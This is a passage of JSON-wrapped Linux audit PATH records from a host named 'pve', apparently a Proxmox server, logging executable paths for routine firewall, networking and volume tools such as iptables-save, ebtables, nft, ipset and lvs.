cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465539,"@rawstring":"node=pve type=PATH msg=audit(1781964465.539:61154): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465536,"@rawstring":"node=pve type=PATH msg=audit(1781964465.536:61153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465536,"@rawstring":"node=pve type=PATH msg=audit(1781964465.536:61153): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465534,"@rawstring":"node=pve type=PATH msg=audit(1781964465.534:61152): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465534,"@rawstring":"node=pve type=PATH msg=audit(1781964465.534:61152): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465534,"@rawstring":"node=pve type=PATH msg=audit(1781964465.534:61151): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465531,"@rawstring":"node=pve type=PATH msg=audit(1781964465.531:61150): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465531,"@rawstring":"node=pve type=PATH msg=audit(1781964465.531:61150): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465531,"@rawstring":"node=pve type=PATH msg=audit(1781964465.531:61150): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465524,"@rawstring":"node=pve type=PATH msg=audit(1781964465.524:61149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465524,"@rawstring":"node=pve type=PATH msg=audit(1781964465.524:61149): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465517,"@rawstring":"node=pve type=PATH msg=audit(1781964465.517:61148): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465517,"@rawstring":"node=pve type=PATH msg=audit(1781964465.517:61148): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465509,"@rawstring":"node=pve type=PATH msg=audit(1781964465.509:61147): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465509,"@rawstring":"node=pve type=PATH msg=audit(1781964465.509:61147): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465503,"@rawstring":"node=pve type=PATH msg=audit(1781964465.503:61146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465503,"@rawstring":"node=pve type=PATH msg=audit(1781964465.503:61146): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465497,"@rawstring":"node=pve type=PATH msg=audit(1781964465.497:61144): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465497,"@rawstring":"node=pve type=PATH msg=audit(1781964465.497:61144): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465492,"@rawstring":"node=pve type=PATH msg=audit(1781964465.492:61143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465492,"@rawstring":"node=pve type=PATH msg=audit(1781964465.492:61143): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465485,"@rawstring":"node=pve type=PATH msg=audit(1781964465.485:61142): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465485,"@rawstring":"node=pve type=PATH msg=audit(1781964465.485:61142): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465479,"@rawstring":"node=pve type=PATH msg=audit(1781964465.479:61141): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465479,"@rawstring":"node=pve type=PATH msg=audit(1781964465.479:61141): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465474,"@rawstring":"node=pve type=PATH msg=audit(1781964465.474:61140): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465474,"@rawstring":"node=pve type=PATH msg=audit(1781964465.474:61140): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465468,"@rawstring":"node=pve type=PATH msg=audit(1781964465.468:61139): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465468,"@rawstring":"node=pve type=PATH msg=audit(1781964465.468:61139): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465462,"@rawstring":"node=pve type=PATH msg=audit(1781964465.462:61138): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465462,"@rawstring":"node=pve type=PATH msg=audit(1781964465.462:61138): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465453,"@rawstring":"node=pve type=PATH msg=audit(1781964465.453:61137): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465453,"@rawstring":"node=pve type=PATH msg=audit(1781964465.453:61137): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465450,"@rawstring":"node=pve type=PATH msg=audit(1781964465.450:61136): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465450,"@rawstring":"node=pve type=PATH msg=audit(1781964465.450:61136): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465446,"@rawstring":"node=pve type=PATH msg=audit(1781964465.446:61135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465446,"@rawstring":"node=pve type=PATH msg=audit(1781964465.446:61135): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465445,"@rawstring":"node=pve type=PATH msg=audit(1781964465.445:61134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465445,"@rawstring":"node=pve type=PATH msg=audit(1781964465.445:61134): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465445,"@rawstring":"node=pve type=PATH msg=audit(1781964465.445:61133): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465441,"@rawstring":"node=pve type=PATH msg=audit(1781964465.441:61132): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465441,"@rawstring":"node=pve type=PATH msg=audit(1781964465.441:61132): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465441,"@rawstring":"node=pve type=PATH msg=audit(1781964465.441:61132): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465434,"@rawstring":"node=pve type=PATH msg=audit(1781964465.434:61131): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465434,"@rawstring":"node=pve type=PATH msg=audit(1781964465.434:61131): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465426,"@rawstring":"node=pve type=PATH msg=audit(1781964465.426:61130): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465426,"@rawstring":"node=pve type=PATH msg=audit(1781964465.426:61130): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465421,"@rawstring":"node=pve type=PATH msg=audit(1781964465.421:61129): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465421,"@rawstring":"node=pve type=PATH msg=audit(1781964465.421:61129): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465414,"@rawstring":"node=pve type=PATH msg=audit(1781964465.414:61128): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465414,"@rawstring":"node=pve type=PATH msg=audit(1781964465.414:61128): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465406,"@rawstring":"node=pve type=PATH msg=audit(1781964465.406:61127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964465406,"@rawstring":"node=pve type=PATH msg=audit(1781964465.406:61127): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464503,"@rawstring":"node=pve type=PATH msg=audit(1781964464.503:61126): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464503,"@rawstring":"node=pve type=PATH msg=audit(1781964464.503:61126): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464478,"@rawstring":"node=pve type=PATH msg=audit(1781964464.478:61125): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464478,"@rawstring":"node=pve type=PATH msg=audit(1781964464.478:61125): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464461,"@rawstring":"node=pve type=PATH msg=audit(1781964464.461:61124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464461,"@rawstring":"node=pve type=PATH msg=audit(1781964464.461:61124): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464461,"@rawstring":"node=pve type=PATH msg=audit(1781964464.461:61123): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464461,"@rawstring":"node=pve type=PATH msg=audit(1781964464.461:61122): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464455,"@rawstring":"node=pve type=PATH msg=audit(1781964464.455:61121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464455,"@rawstring":"node=pve type=PATH msg=audit(1781964464.455:61121): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464455,"@rawstring":"node=pve type=PATH msg=audit(1781964464.455:61120): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964464455,"@rawstring":"node=pve type=PATH msg=audit(1781964464.455:61119): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459725,"@rawstring":"node=pve type=PATH msg=audit(1781964459.725:61118): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459725,"@rawstring":"node=pve type=PATH msg=audit(1781964459.725:61118): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459725,"@rawstring":"node=pve type=PATH msg=audit(1781964459.725:61117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459725,"@rawstring":"node=pve type=PATH msg=audit(1781964459.725:61117): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459723,"@rawstring":"node=pve type=PATH msg=audit(1781964459.723:61116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459723,"@rawstring":"node=pve type=PATH msg=audit(1781964459.723:61116): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459448,"@rawstring":"node=pve type=PATH msg=audit(1781964459.448:61115): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459448,"@rawstring":"node=pve type=PATH msg=audit(1781964459.448:61115): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459448,"@rawstring":"node=pve type=PATH msg=audit(1781964459.448:61114): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459448,"@rawstring":"node=pve type=PATH msg=audit(1781964459.448:61113): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459442,"@rawstring":"node=pve type=PATH msg=audit(1781964459.442:61112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459442,"@rawstring":"node=pve type=PATH msg=audit(1781964459.442:61112): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459442,"@rawstring":"node=pve type=PATH msg=audit(1781964459.442:61111): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964459442,"@rawstring":"node=pve type=PATH msg=audit(1781964459.442:61110): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455395,"@rawstring":"node=pve type=PATH msg=audit(1781964455.395:61109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455395,"@rawstring":"node=pve type=PATH msg=audit(1781964455.395:61109): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455392,"@rawstring":"node=pve type=PATH msg=audit(1781964455.392:61108): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455392,"@rawstring":"node=pve type=PATH msg=audit(1781964455.392:61108): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455391,"@rawstring":"node=pve type=PATH msg=audit(1781964455.391:61107): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455391,"@rawstring":"node=pve type=PATH msg=audit(1781964455.391:61107): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455391,"@rawstring":"node=pve type=PATH msg=audit(1781964455.391:61106): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455386,"@rawstring":"node=pve type=PATH msg=audit(1781964455.386:61105): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455386,"@rawstring":"node=pve type=PATH msg=audit(1781964455.386:61105): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455386,"@rawstring":"node=pve type=PATH msg=audit(1781964455.386:61105): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455380,"@rawstring":"node=pve type=PATH msg=audit(1781964455.380:61104): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455380,"@rawstring":"node=pve type=PATH msg=audit(1781964455.380:61104): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455369,"@rawstring":"node=pve type=PATH msg=audit(1781964455.369:61103): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455369,"@rawstring":"node=pve type=PATH msg=audit(1781964455.369:61103): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455361,"@rawstring":"node=pve type=PATH msg=audit(1781964455.361:61102): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964455361,"@rawstring":"node=pve type=PATH msg=audit(1781964455.361:61102): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 